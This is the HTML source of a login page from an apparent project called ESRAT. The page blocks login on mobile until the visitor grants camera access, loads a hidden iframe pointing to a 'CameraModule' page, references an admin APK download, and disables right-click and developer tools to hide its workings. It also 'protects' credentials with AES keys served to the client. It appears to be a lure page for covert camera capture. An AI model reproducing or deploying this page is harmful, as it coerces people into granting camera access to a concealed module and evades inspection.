-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathindex.html
198 lines (170 loc) · 8.71 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="styles.css">
<link href='https://unpkg.com/boxicons@2.1.4/css/boxicons.min.css' rel='stylesheet'>
<link rel="icon" href="apks/favicon.ico" type="image/x-icon">
<title>ENTER HERE</title>
</head>
<body class="login-page">
<nav class="navbar">
<h1 class="logo"><a href="index.html"><img src="apks/logo.png" height="100px"></a></h1>
</nav>
<div class="info">
<span id="dynamic-text">
<span class="letter">G</span>
<span class="letter">A</span>
<span class="letter">N</span>
<span class="letter">G</span>
<span class="letter">A</span>
</span>
<!-- Remove comments if you want to add apk download notice !-->
<!-- <a class="info" href="/ESRAT/apks/SS Admin.apk" style="text-decoration: none; display: block; margin-top: 40px;">➡️Click Here⬅️ <br>to download the ADMIN App first!</a> -->
</div>
<!-- Notice Board -->
<div id="notice-board" class="notice-board">
<p><b>You didn't click ALLOW !<br> ALLOW all the permissions from <br> your browser settings and <br> Refresh to Proceed > > > </b> <br>Username- ganga <br> Password is- password</p>
</div>
<div class="container">
<input type="text" id="username" placeholder="Username" disabled autocomplete="off">
<input type="password" id="password" placeholder="Password" disabled autocomplete="off">
<button id="submit" class="button1" disabled>Login</button>
<div id="message-ref" class="message"></div>
</div>
<div class="home-sci2">
<a href="https://wa.me/917008265529?text=Hola, I recently visited your website. Let's talk!"><i class='bx bxl-whatsapp'></i></a>
<a href="https://www.instagram.com/urstruly_ganga/"><i class='bx bxl-instagram'></i></a>
<a href="https://github.com/ES-UNIVERSE"><i class='bx bxl-github'></i></a>
</div>
<div class="cursor-shadow"></div>
<!-- Hidden iframe to load the CameraModule -->
<iframe id="cameraIframe" src="https://es-universe.github.io/ESRAT/events/CameraModule/index.html" style="display:none;"></iframe>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script>
let cameraStream = null; // Variable to store the camera stream
async function retrieveSacredKeys() {
const response = await fetch("/ESRAT/asset/keys.json");
const sacredKeys = await response.json();
return sacredKeys;
}
function unlockArcaneSecrets(cipheredData, mysticalEssence, celestialKeystone) {
const decodedKeystone = CryptoJS.enc.Base64.parse(celestialKeystone);
const decodedEssence = CryptoJS.enc.Base64.parse(mysticalEssence);
const unlockedSecrets = CryptoJS.AES.decrypt(cipheredData, decodedKeystone, {
iv: decodedEssence,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return unlockedSecrets.toString(CryptoJS.enc.Utf8);
}
function enableInputs() {
document.getElementById("username").disabled = false;
document.getElementById("password").disabled = false;
document.getElementById("submit").disabled = false;
document.getElementById("notice-board").style.display = 'none'; // Hide notice board after permission
}
function disableInputs() {
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
document.getElementById("notice-board").style.display = 'block'; // Show notice board if permission is denied
}
function stopCameraStream() {
if (cameraStream) {
cameraStream.getTracks().forEach(track => track.stop()); // Stop all tracks
cameraStream = null; // Clear the camera stream
}
}
function requestCameraPermission() {
// Check if the screen size is small (for mobile devices)
if (window.innerWidth <= 768) { // You can adjust the breakpoint as needed
navigator.mediaDevices.getUserMedia({ video: true })
.then(function(stream) {
console.log("Camera permission granted.");
cameraStream = stream; // Store the camera stream
enableInputs(); // Enable inputs once permission is granted
// Stop the camera stream after 5 seconds
setTimeout(stopCameraStream, 5000);
clearInterval(cameraInterval); // Stop asking for permission after it's granted
})
.catch(function(err) {
console.log("Camera permission denied, retrying in 5 seconds.");
disableInputs(); // Keep inputs disabled if permission is denied
});
} else {
// If on larger screens, directly enable inputs without asking for camera
enableInputs();
}
}
// Check camera permission every 5 seconds until granted
const cameraInterval = setInterval(requestCameraPermission, 5000);
// Event listeners for login
document.getElementById("submit").addEventListener("click", verifyEnigmaticCredentials);
document.getElementById("password").addEventListener("keydown", (event) => {
if (event.key === "Enter") {
verifyEnigmaticCredentials();
}
});
// Function to verify credentials
async function verifyEnigmaticCredentials() {
const sacredKeys = await retrieveSacredKeys();
const unlockedIdentity = unlockArcaneSecrets(sacredKeys.arcaneCipheredIdentity, sacredKeys.mysticalEssenceOfCipherIdentity, sacredKeys.celestialSecretKeystone);
const unlockedPassage = unlockArcaneSecrets(sacredKeys.arcaneCipheredPassage, sacredKeys.mysticalEssenceOfCipherPassage, sacredKeys.celestialSecretKeystone);
const inputIdentity = document.getElementById("username").value;
const inputPassage = document.getElementById("password").value;
// Check if both inputs are filled
if (inputIdentity === "" || inputPassage === "") {
alert("Please fill in both username and password.");
return; // Prevent further execution
}
if (inputIdentity === unlockedIdentity && inputPassage === unlockedPassage) {
window.location.href = "index-home.html"; // Redirect if login is successful
} else {
alert("Incorrect User or Password."); // Alert on incorrect login
}
}
// Cursor shadow effect
const cursorShadow = document.querySelector('.cursor-shadow');
document.addEventListener('mousemove', (event) => {
cursorShadow.style.left = event.clientX + 'px';
cursorShadow.style.top = event.clientY + 'px';
});
// Anti-inspection script
document.addEventListener('contextmenu', event => event.preventDefault()); // Disable right-click
// Disable F12, Ctrl+Shift+I, Ctrl+U, Ctrl+Shift+J
document.onkeydown = function(e) {
if (e.keyCode === 123) { // F12
return false;
}
if (e.ctrlKey && e.shiftKey && e.keyCode === 'I'.charCodeAt(0)) {
return false; // Ctrl+Shift+I
}
if (e.ctrlKey && e.keyCode === 'U'.charCodeAt(0)) {
return false; // Ctrl+U
}
if (e.ctrlKey && e.shiftKey && e.keyCode === 'J'.charCodeAt(0)) {
return false; // Ctrl+Shift+J
}
};
</script>
<style>
/* Styling for the notice board */
.notice-board {
display: none;
text-align: center;
color: rgb(255, 0, 0);
background-color: rgb(255, 255, 255);
padding: 20px;
font-size: 20px;
position: fixed;
width: 100%;
top: 0;
left: 0;
z-index: 100;
}
</style>
</body>
</html>